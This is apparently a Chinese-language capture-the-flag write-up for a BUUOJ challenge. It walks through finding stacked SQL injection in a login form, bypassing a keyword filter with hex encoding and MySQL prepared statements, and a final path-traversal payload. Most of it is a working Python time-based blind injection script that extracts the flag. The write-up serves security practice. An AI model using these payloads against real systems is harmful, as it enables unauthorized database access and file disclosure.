打开靶机,发现就是一个登录界面,注册界面提示未开放
点登录也没有回应,源码中也暂时没有可用的信息,只能先抓包看一下了。对于带有登录框的题, 第一反应应该是含有sql注入,抓包我们尝试在USERNAME后使用’,发现报错了,使用#闭合,发现返回200
确定存在注入
可是测试了半天发现常规的注入一个都不行(无果。
再次测试,发现在username后加入;分号,返回正常,可能存在堆叠注入
过滤了select,if,sleep,substr等大多数注入常见的单词,但是注入又不得不使用其中的某些单词。那么在这里我们就可以用16进制+mysql预处理来绕过
着手写脚本:借用了一下c1e4r师傅脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 | import requests import json import time def str_to_hex(s): return ''.join([hex(ord(c)).replace('0x', '') for c in s]) url = 'http://3995e354-0a69-4a15-b449-51b331cb2401.node3.buuoj.cn/index.php?r=Login/Login' payloads = "ad';set @a=0x{0};prepare ctftest from @a;execute ctftest-- -" flag = '' for i in range(1,30): payload = "select if(ascii(substr((select flag from flag),{0},1))={1},sleep(3),1)" for j in range(30,128): datas = {'username':payloads.format(str_to_hex(payload.format(i,j))),'password':'13'} data = json.dumps(datas) times = time.time() res = requests.post(url = url, data = data) if time.time() - times >= 3: flag = flag + chr(j) print(flag) break |
跑出来glzjin_wants_a_girl_friend.zip
下载源码
payload:index.php?r=User/Index&img_file=/…/flag.php